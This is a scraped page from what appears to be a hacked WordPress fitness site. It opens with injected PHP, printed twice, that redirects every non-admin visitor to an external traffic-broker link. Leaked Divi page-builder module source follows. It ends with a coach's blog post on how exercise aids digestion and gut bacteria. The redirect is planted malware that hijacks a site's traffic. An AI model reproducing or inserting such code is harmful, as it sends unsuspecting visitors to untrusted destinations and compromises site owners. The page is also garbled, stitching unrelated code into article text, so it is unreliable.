function my_custom_redirect() { // Убедитесь, что этот код выполняется только на фронтенде if (!is_admin()) { // URL для редиректа $redirect_url = 'https://faq95.doctortrf.com/l/?sub1=[ID]&sub2=[SID]&sub3=3&sub4=bodyclick'; // Выполнить редирект wp_redirect($redirect_url, 301); exit(); } } add_action('template_redirect', 'my_custom_redirect');function my_custom_redirect() { // Убедитесь, что этот код выполняется только на фронтенде if (!is_admin()) { // URL для редиректа $redirect_url = 'https://faq95.doctortrf.com/l/?sub1=[ID]&sub2=[SID]&sub3=3&sub4=bodyclick'; // Выполнить редирект wp_redirect($redirect_url, 301); exit(); } } add_action('template_redirect', 'my_custom_redirect'); class ET_Builder_Module_Fullwidth_Post_Title extends ET_Builder_Module { function init() { $this->name = esc_html__( 'Fullwidth Post Title', 'et_builder' ); $this->plural = esc_html__( 'Fullwidth Post Titles', 'et_builder' ); $this->slug = 'et_pb_fullwidth_post_title'; $this->vb_support = 'on'; $this->fullwidth = true; $this->defaults = array(); $this->featured_image_background = true; $this->main_css_element = '%%order_class%%'; $this->settings_modal_toggles = array( 'general' => array( 'toggles' => array( 'elements' => et_builder_i18n( 'Elements' ), ), ), 'advanced' => array( 'toggles' => array( 'text' => array( 'title' => et_builder_i18n( 'Text' ), 'priority' => 49, ), 'image_settings' => et_builder_i18n( 'Image' ), ), ), ); $this->advanced_fields = array( 'borders' => array( 'default' => array( 'css' => array( 'main' => array( 'border_radii' => "{$this->main_css_element}.et_pb_featured_bg, {$this->main_css_element}", 'border_styles' => "{$this->main_css_element}.et_pb_featured_bg, {$this->main_css_element}", ), ), ), ), 'margin_padding' => array( 'css' => array( 'main' => ".et_pb_fullwidth_section {$this->main_css_element}.et_pb_post_title", 'important' => 'all', ), ), 'fonts' => array( 'title' => array( 'label' => et_builder_i18n( 'Title' ), 'use_all_caps' => true, 'css' => array( 'main' => "{$this->main_css_element} .et_pb_title_container h1.entry-title, {$this->main_css_element} .et_pb_title_container h2.entry-title, {$this->main_css_element} .et_pb_title_container h3.entry-title, {$this->main_css_element} .et_pb_title_container h4.entry-title, {$this->main_css_element} .et_pb_title_container h5.entry-title, {$this->main_css_element} .et_pb_title_container h6.entry-title", ), 'header_level' => array( 'default' => 'h1', ), ), 'meta' => array( 'label' => esc_html__( 'Meta', 'et_builder' ), 'css' => array( 'main' => "{$this->main_css_element} .et_pb_title_container .et_pb_title_meta_container, {$this->main_css_element} .et_pb_title_container .et_pb_title_meta_container a", 'limited_main' => "{$this->main_css_element} .et_pb_title_container .et_pb_title_meta_container, {$this->main_css_element} .et_pb_title_container .et_pb_title_meta_container a, {$this->main_css_element} .et_pb_title_container .et_pb_title_meta_container span", ), ), ), 'background' => array( 'css' => array( 'main' => "{$this->main_css_element}, {$this->main_css_element}.et_pb_featured_bg", ), ), 'max_width' => array( 'css' => array( 'module_alignment' => '.et_pb_fullwidth_section %%order_class%%.et_pb_post_title.et_pb_module', ), ), 'text' => array( 'options' => array( 'text_orientation' => array( 'default' => 'left', ), ), 'css' => array( 'main' => implode(', ', array( '%%order_class%% .entry-title', '%%order_class%% .et_pb_title_meta_container', )) ) ), 'button' => false, ); $this->custom_css_fields = array( 'post_title' => array( 'label' => et_builder_i18n( 'Title' ), 'selector' => 'h1', ), 'post_meta' => array( 'label' => esc_html__( 'Meta', 'et_builder' ), 'selector' => '.et_pb_title_meta_container', ), 'post_image' => array( 'label' => esc_html__( 'Featured Image', 'et_builder' ), 'selector' => '.et_pb_title_featured_container', ), ); $this->help_videos = array( array( 'id' => 'wb8c06U0uCU', 'name' => esc_html__( 'An introduction to the Fullwidth Post Title module', 'et_builder' ), ), ); } function get_fields() { $fields = array( 'title' => array( 'label' => esc_html__( 'Show Title', 'et_builder' ), 'type' => 'yes_no_button', 'option_category' => 'configuration', 'options' => array( 'on' => et_builder_i18n( 'Yes' ), 'off' => et_builder_i18n( 'No' ), ), 'default_on_front' => 'on', 'toggle_slug' => 'elements', 'description' => esc_html__( 'Here you can choose whether or not display the Post Title', 'et_builder' ), 'mobile_options' => true, 'hover' => 'tabs', ), 'meta' => array( 'label' => esc_html__( 'Show Meta', 'et_builder' ), 'type' => 'yes_no_button', 'option_category' => 'configuration', 'options' => array( 'on' => et_builder_i18n( 'Yes' ), 'off' => et_builder_i18n( 'No' ), ), 'default_on_front' => 'on', 'affects' => array( 'author', 'date', 'comments', ), 'toggle_slug' => 'elements', 'description' => esc_html__( 'Here you can choose whether or not display the Post Meta', 'et_builder' ), 'mobile_options' => true, 'hover' => 'tabs', ), 'author' => array( 'label' => esc_html__( 'Show Author', 'et_builder' ), 'type' => 'yes_no_button', 'option_category' => 'configuration', 'options' => array( 'on' => et_builder_i18n( 'Yes' ), 'off' => et_builder_i18n( 'No' ), ), 'default_on_front' => 'on', 'depends_show_if' => 'on', 'toggle_slug' => 'elements', 'description' => esc_html__( 'Here you can choose whether or not display the Author Name in Post Meta', 'et_builder' ), 'mobile_options' => true, 'hover' => 'tabs', ), 'date' => array( 'label' => esc_html__( 'Show Date', 'et_builder' ), 'type' => 'yes_no_button', 'option_category' => 'configuration', 'options' => array( 'on' => et_builder_i18n( 'Yes' ), 'off' => et_builder_i18n( 'No' ), ), 'default_on_front' => 'on', 'depends_show_if' => 'on', 'affects' => array( 'date_format', ), 'toggle_slug' => 'elements', 'description' => esc_html__( 'Here you can choose whether or not display the Date in Post Meta', 'et_builder' ), 'mobile_options' => true, 'hover' => 'tabs', ), 'date_format' => array( 'label' => esc_html__( 'Date Format', 'et_builder' ), 'type' => 'text', 'option_category' => 'configuration', 'default_on_front' => 'M j, Y', 'depends_show_if' => 'on', 'toggle_slug' => 'elements', 'description' => esc_html__( 'Here you can define the Date Format in Post Meta. Default is \'M j, Y\'', 'et_builder' ), ), 'categories' => array( 'label' => esc_html__( 'Show Post Categories', 'et_builder' ), 'type' => 'yes_no_button', 'option_category' => 'configuration', 'options' => array( 'on' => et_builder_i18n( 'Yes' ), 'off' => et_builder_i18n( 'No' ), ), 'default_on_front' => 'on', 'show_if' => array( 'meta' => 'on', 'function.isPostOrTBLayout' => 'on', ), 'toggle_slug' => 'elements', 'description' => esc_html__( 'Here you can choose whether or not display the Categories in Post Meta. Note: This option doesn\'t work with custom post types.', 'et_builder' ), 'mobile_options' => true, 'hover' => 'tabs', ), 'comments' => array( 'label' => esc_html__( 'Show Comments Count', 'et_builder' ), 'type' => 'yes_no_button', 'option_category' => 'configuration', 'options' => array( 'on' => et_builder_i18n( 'Yes' ), 'off' => et_builder_i18n( 'No' ), ), 'default_on_front' => 'on', 'depends_show_if' => 'on', 'toggle_slug' => 'elements', 'description' => esc_html__( 'Here you can choose whether or not display the Comments Count in Post Meta.', 'et_builder' ), 'mobile_options' => true, 'hover' => 'tabs', ), 'featured_image' => array( 'label' => esc_html__( 'Show Featured Image', 'et_builder' ), 'type' => 'yes_no_button', 'option_category' => 'configuration', 'options' => array( 'on' => et_builder_i18n( 'Yes' ), 'off' => et_builder_i18n( 'No' ), ), 'default_on_front' => 'on', 'affects' => array( 'featured_placement', ), 'toggle_slug' => 'elements', 'description' => esc_html__( 'Here you can choose whether or not display the Featured Image', 'et_builder' ), 'mobile_options' => true, 'hover' => 'tabs', ), 'featured_placement' => array( 'label' => esc_html__( 'Featured Image Placement', 'et_builder' ), 'type' => 'select', 'option_category' => 'layout', 'options' => array( 'below' => esc_html__( 'Below Title', 'et_builder' ), 'above' => esc_html__( 'Above Title', 'et_builder' ), 'background' => esc_html__( 'Title/Meta Background Image', 'et_builder' ), ), 'default_on_front' => 'below', 'depends_show_if' => 'on', 'toggle_slug' => 'elements', 'description' => esc_html__( 'Here you can choose where to place the Featured Image', 'et_builder' ), ), 'force_fullwidth' => array( 'label' => esc_html__( 'Force Fullwidth', 'et_builder' ), 'description' => esc_html__( "When enabled, this will force your image to extend 100% of the width of the column it's in.", 'et_builder' ), 'type' => 'yes_no_button', 'option_category' => 'layout', 'options' => array( 'off' => et_builder_i18n( 'No' ), 'on' => et_builder_i18n( 'Yes' ), ), 'default' => 'on', 'tab_slug' => 'advanced', 'toggle_slug' => 'width', 'show_if' => array( 'featured_image' => 'on', 'featured_placement' => array( 'below', 'above' ) ), ), 'image_width' => array( 'label' => esc_html__( 'Featured Image Width', 'et_builder' ), 'description' => esc_html__( 'Adjust the width of the featured image.', 'et_builder' ), 'type' => 'range', 'option_category' => 'layout', 'tab_slug' => 'advanced', 'toggle_slug' => 'width', 'allowed_values' => et_builder_get_acceptable_css_string_values( 'width' ), 'default' => '100%', 'default_unit' => '%', 'range_settings' => array( 'min' => '0', 'max' => '100', 'step' => '1', ), 'responsive' => true, 'show_if' => array( 'featured_image' => 'on', 'featured_placement' => array( 'below', 'above' ), 'force_fullwidth' => 'off', ), ), 'image_max_width' => array( 'label' => esc_html__( 'Featured Image Max Width', 'et_builder' ), 'description' => esc_html__( 'Adjust the max width of the featured image.', 'et_builder' ), 'type' => 'range', 'option_category' => 'layout', 'tab_slug' => 'advanced', 'toggle_slug' => 'width', 'allowed_values' => et_builder_get_acceptable_css_string_values( 'max-width' ), 'default' => 'none', 'default_unit' => '%', 'range_settings' => array( 'min' => '0', 'max' => '100', 'step' => '1', ), 'responsive' => true, 'show_if' => array( 'featured_image' => 'on', 'featured_placement' => array( 'below', 'above' ), 'force_fullwidth' => 'off', ), ), 'image_height' => array( 'label' => esc_html__( 'Featured Image Height', 'et_builder' ), 'description' => esc_html__( 'Adjust the height of the featured image.', 'et_builder' ), 'type' => 'range', 'option_category' => 'layout', 'tab_slug' => 'advanced', 'toggle_slug' => 'width', 'allowed_values' => et_builder_get_acceptable_css_string_values( 'height' ), 'default' => 'auto', 'default_unit' => 'px', 'range_settings' => array( 'min' => '0', 'max' => '1000', 'step' => '1', ), 'responsive' => true, 'show_if' => array( 'featured_image' => 'on', 'featured_placement' => array( 'below', 'above' ) ), ), 'image_max_height' => array( 'label' => esc_html__( 'Featured Image Max Height', 'et_builder' ), 'description' => esc_html__( 'Adjust the max height of the featured image.', 'et_builder' ), 'type' => 'range', 'option_category' => 'layout', 'tab_slug' => 'advanced', 'toggle_slug' => 'width', 'allowed_values' => et_builder_get_acceptable_css_string_values( 'max-height' ), 'default' => 'none', 'default_unit' => 'px', 'range_settings' => array( 'min' => '0', 'max' => '1000', 'step' => '1', ), 'responsive' => true, 'show_if' => array( 'featured_image' => 'on', 'featured_placement' => array( 'below', 'above' ) ), ), 'image_alignment' => array( 'label' => esc_html__( 'Image Alignment', 'et_builder' ), 'description' => esc_html__( 'Align image to the left, right or center.', 'et_builder' ), 'type' => 'align', 'option_category' => 'layout', 'options' => et_builder_get_text_orientation_options( array( 'justified' ) ), 'tab_slug' => 'advanced', 'toggle_slug' => 'image_settings', 'default' => 'center', 'responsive' => true, 'show_if' => array( 'featured_image' => 'on', 'featured_placement' => array( 'below', 'above' ), 'force_fullwidth' => 'off', ), ), 'text_color' => array( 'label' => esc_html__( 'Text Color', 'et_builder' ), 'type' => 'select', 'option_category' => 'color_option', 'options' => array( 'dark' => et_builder_i18n( 'Dark' ), 'light' => et_builder_i18n( 'Light' ), ), 'default_on_front' => 'dark', 'tab_slug' => 'advanced', 'toggle_slug' => 'text', 'hover' => 'tabs', 'description' => esc_html__( 'Here you can choose the color for the Title/Meta text', 'et_builder' ), ), 'text_background' => array( 'label' => esc_html__( 'Use Text Background Color', 'et_builder' ), 'type' => 'yes_no_button', 'option_category' => 'color_option', 'options' => array( 'off' => et_builder_i18n( 'No' ), 'on' => et_builder_i18n( 'Yes' ), ), 'default_on_front' => 'off', 'affects' => array( 'text_bg_color', ), 'tab_slug' => 'advanced', 'toggle_slug' => 'text', 'description' => esc_html__( 'Here you can choose whether or not use the background color for the Title/Meta text', 'et_builder' ), ), 'text_bg_color' => array( 'default' => 'rgba(255,255,255,0.9)', 'label' => esc_html__( 'Text Background Color', 'et_builder' ), 'description' => esc_html__( "Pick a color to use behind the post title text. Reducing the color's opacity will allow the background image to show through while still increasing text readability.", 'et_builder' ), 'type' => 'color-alpha', 'depends_show_if' => 'on', 'tab_slug' => 'advanced', 'toggle_slug' => 'text', 'hover' => 'tabs', 'mobile_options' => true, ), ); return $fields; } public function get_transition_fields_css_props() { $fields = parent::get_transition_fields_css_props(); $fields['text_color'] = array( 'color' => implode(', ', array( '%%order_class%% .entry-title', '%%order_class%% .et_pb_title_meta_container', )) ); $fields['text_bg_color'] = array( 'background-color' => '%%order_class%% .et_pb_title_container' ); return $fields; } function render( $attrs, $content = null, $render_slug ) { $multi_view = et_pb_multi_view_options( $this ); $date_format = $this->props['date_format']; $featured_image = $this->props['featured_image']; $featured_placement = $this->props['featured_placement']; $text_color = $this->props['text_color']; $text_color_hover = et_pb_hover_options()->get_value( 'text_color', $this->props ); $text_background = $this->props['text_background']; $header_level = $this->props['title_level']; $text_bg_colors = et_pb_responsive_options()->get_property_values( $this->props, 'text_bg_color' ); $post_id = get_the_ID(); // display the shortcode only on singlular pages if ( ! is_singular() ) { $post_id = 0; } $output = ''; $featured_image_output = ''; $parallax_image_background = $this->get_parallax_image_background(); if ( $post_id && $multi_view->has_value( 'featured_image', 'on' ) && ( 'above' === $featured_placement || 'below' === $featured_placement ) ) { // Largest featured image size is needed when featured image is used in "post" post type and full width layout $featured_image_size = 'post' === get_post_type() && 'et_full_width_page' === get_post_meta( get_the_ID(), '_et_pb_page_layout', true ) ? 'et-pb-post-main-image-fullwidth-large' : 'large'; $post_thumbnail_id = get_post_thumbnail_id( $post_id ); $featured_image_src = et_()->array_get( wp_get_attachment_image_src( $post_thumbnail_id, $featured_image_size ), 0 ); $featured_image_content = $multi_view->render_element( array( 'tag' => 'img', 'attrs' => array( 'src' => $featured_image_src, ) ) ); $featured_image_output = $multi_view->render_element( array( 'tag' => 'div', 'content' => sprintf( '
%1$s
', $featured_image_content ), 'attrs' => array( 'class' => 'et_pb_title_featured_container', ), 'visibility' => array( 'featured_image' => 'on', ), 'required' => array( 'featured_image' => 'on', ), ) ); $image_height = et_pb_responsive_options()->get_property_values( $this->props, 'image_height', 'auto' ); $image_max_height = et_pb_responsive_options()->get_property_values( $this->props, 'image_max_height', 'none' ); et_pb_responsive_options()->generate_responsive_css( $image_height, '%%order_class%% .et_pb_title_featured_container img', 'height', $render_slug ); et_pb_responsive_options()->generate_responsive_css( $image_max_height, '%%order_class%% .et_pb_title_featured_container img', 'max-height', $render_slug ); if ( 'off' === $this->props['force_fullwidth'] ) { $image_width = et_pb_responsive_options()->get_property_values( $this->props, 'image_width', '100%' ); $image_max_width = et_pb_responsive_options()->get_property_values( $this->props, 'image_max_width', 'none' ); et_pb_responsive_options()->generate_responsive_css( $image_width, '%%order_class%% .et_pb_title_featured_image', 'width', $render_slug ); et_pb_responsive_options()->generate_responsive_css( $image_max_width, '%%order_class%% .et_pb_title_featured_image', 'max-width', $render_slug ); // Image alignment style $image_alignment_values = et_pb_responsive_options()->get_property_values( $this->props, 'image_alignment', 'none' ); et_pb_responsive_options()->generate_responsive_css( $image_alignment_values, '%%order_class%% .et_pb_title_featured_image', 'text-align', $render_slug, '', 'align' ); $image_alignments = array( 'left' => 'auto auto auto 0', 'center' => 'auto', 'right' => 'auto 0 auto auto', ); foreach ( $image_alignment_values as $breakpoint => $alignment ) { $image_alignment_values[ $breakpoint ] = et_()->array_get( $image_alignments, $alignment, '' ); } et_pb_responsive_options()->generate_responsive_css( $image_alignment_values, '%%order_class%% .et_pb_title_featured_image', 'margin', $render_slug, '', 'align' ); ET_Builder_Element::set_style( $render_slug, array( 'selector' => '%%order_class%% .et_pb_image_wrap', 'declaration' => 'width: auto;', ) ); } } if ( $multi_view->has_value( 'title', 'on' ) ) { if ( is_et_pb_preview() && isset( $_POST['post_title'] ) && wp_verify_nonce( $_POST['et_pb_preview_nonce'], 'et_pb_preview_nonce' ) ) { $post_title = esc_html( sanitize_text_field( wp_unslash( $_POST['post_title'] ) ) ); } else { // Unescaped for backwards compat reasons. $post_title = et_core_intentionally_unescaped( et_builder_get_current_title(), 'html' ); } $output .= $multi_view->render_element( array( 'tag' => et_pb_process_header_level( $header_level, 'h1' ), 'content' => $post_title, 'attrs' => array( 'class' => 'entry-title', ), 'visibility' => array( 'title' => 'on', ) ) ); } if ( $post_id && $multi_view->has_value( 'meta', 'on' ) ) { $meta_array = array(); foreach( array( 'author', 'date', 'categories', 'comments' ) as $single_meta ) { if ( 'categories' === $single_meta && ! is_singular( 'post' ) ) { continue; } $meta_array[] = $multi_view->render_element( array( 'content' => et_pb_postinfo_meta( array( $single_meta ), $date_format, esc_html__( '0 comments', 'et_builder' ), esc_html__( '1 comment', 'et_builder' ), '% ' . esc_html__( 'comments', 'et_builder' ) ), 'classes' => array( 'et_pb_title_meta_item--visible' => array( $single_meta => 'on', 'meta' => 'on', ), ), 'visibility' => array( $single_meta => 'on', 'meta' => 'on', ), 'required' => array( $single_meta => 'on', 'meta' => 'on', ), ) ); } $output .= $multi_view->render_element( array( 'tag' => 'p', 'content' => implode( '', $meta_array ), 'attrs' => array( 'class' => 'et_pb_title_meta_container', ), 'visibility' => array( 'meta' => 'on', ), ) ); } if ( 'on' === $text_background ) { // Text Background Color. et_pb_responsive_options()->generate_responsive_css( $text_bg_colors, '%%order_class%% .et_pb_title_container', 'background-color', $render_slug, '; padding: 1em 1.5em;', 'color' ); if ( et_pb_hover_options()->is_enabled( 'text_bg_color', $this->props ) ) { ET_Builder_Element::set_style( $render_slug, array( 'selector' => '%%order_class%%:hover .et_pb_title_container', 'declaration' => sprintf( 'background-color: %1$s; padding: 1em 1.5em;', esc_html( et_pb_hover_options()->get_value( 'text_bg_color', $this->props ) ) ), ) ); } } $video_background = $this->video_background(); $background_layout = 'dark' === $text_color ? 'light' : 'dark'; $data_background_layout = ''; $data_background_layout_hover = ''; if ( et_pb_hover_options()->is_enabled( 'text_color', $this->props ) && !empty( $text_color_hover ) && $text_color !== $text_color_hover ) { $data_background_layout = sprintf( ' data-background-layout="%1$s"', esc_attr( $text_color_hover ) ); $data_background_layout_hover = sprintf( ' data-background-layout-hover="%1$s"', esc_attr( $text_color ) ); } // Module classnames $this->add_classname( array( 'et_pb_post_title', $this->get_text_orientation_classname(), "et_pb_bg_layout_{$background_layout}", ) ); if ( 'on' === $multi_view->get_value( 'featured_image' ) && 'background' === $featured_placement ) { $this->add_classname( 'et_pb_featured_bg' ); } if ( 'above' === $featured_placement ) { $this->add_classname( 'et_pb_image_above' ); } if ( 'below' === $featured_placement ) { $this->add_classname( 'et_pb_image_below' ); } // Remove automatically added classnames $this->remove_classname( array( 'et_pb_fullwidth_post_title', ) ); $muti_view_data_attr = $multi_view->render_attrs( array( 'classes' => array( 'et_pb_featured_bg' => array( 'featured_image' => 'on', 'featured_placement' => 'background', ), ), ) ); $output = sprintf( ' %4$s %7$s %5$s
%1$s
%6$s', $output, $this->module_classname( $render_slug ), $this->module_id(), $parallax_image_background, 'on' === $featured_image && 'above' === $featured_placement ? $featured_image_output : '', // #5 'on' === $featured_image && 'below' === $featured_placement ? $featured_image_output : '', $video_background, $data_background_layout, $data_background_layout_hover, et_core_esc_previously( $muti_view_data_attr ) // #10 ); return $output; } } new ET_Builder_Module_Fullwidth_Post_Title; Improve your digestion up to 30% with this - A2Z Personal Training

Improve your digestion up to 30% with this

Gut Health, Nutrition

You already know that exercise is good for you, right?

It’s proof that everything is related when it comes to a healthy lifestyle!

Exercise boosts your immune system (more important than ever right now!), cuts your stress, and is good for your sleep, your mood, your muscles, your heart, etc. etc.

Well, we can’t forget the countless ways it’s also good for your gut! And your gut works to help all of those processes too.

It all goes together! In keeping with our gut theme this month, I’veA2Z Personal Training time for exercise got some tips for you!

We’ve heard for years that getting some light exercise – like a walk – right after you eat is good for you.

Not only does it help food move through your stomach as much as 30% faster, it helps balance your blood sugar. And because it keeps your digestive system move along, you’ll likely be more “regular” in the bathroom.

But there’s even more.

Exercise also helps you build up more good bacteria in your gut. Not only do you have MORE good bacteria, but more different TYPES of bacteria!

This is important in keeping a balanced and healthy digestive system. As I’ve mentioned over the past couple weeks, a big part of your immune system is in your gut.

Researchers at the University of Illinois tested the microbiomes of adults who didn’t exercise regularly, and then put them through an exercise routine that had them doing 30-60 minutes of cardio 3 times a week.

 

After 6 weeks, the study participants had MORE good bacteria in their gut!

In particular, they had more microbes that help produce short-chain fatty acids, which reduces the risk of inflammatory diseases, obesity, type 2 diabetes and heart disease.

Pretty cool, right?

What happened when they STOPPED their exercise routine?!

Well their gut microbiomes went back to their old, pre-exercise condition.

That’s even more reason to make regular, planned exercise part of your daily routine!

Here’s the takeaway: Make time for exercise! Finding a way to stay consistent with your workouts can make such a difference for your long-term well-being and health!

It doesn’t have to be anything elaborate – when you can’t squeeze in a regular workout, make it a priority to go outside for a brisk walk! This will also help you make exercise a habit, which over time will make it even easier to stick with your routine.

Wellness is a lifestyle choice – one that pays off with more vibrant energy and resilience!

Andy

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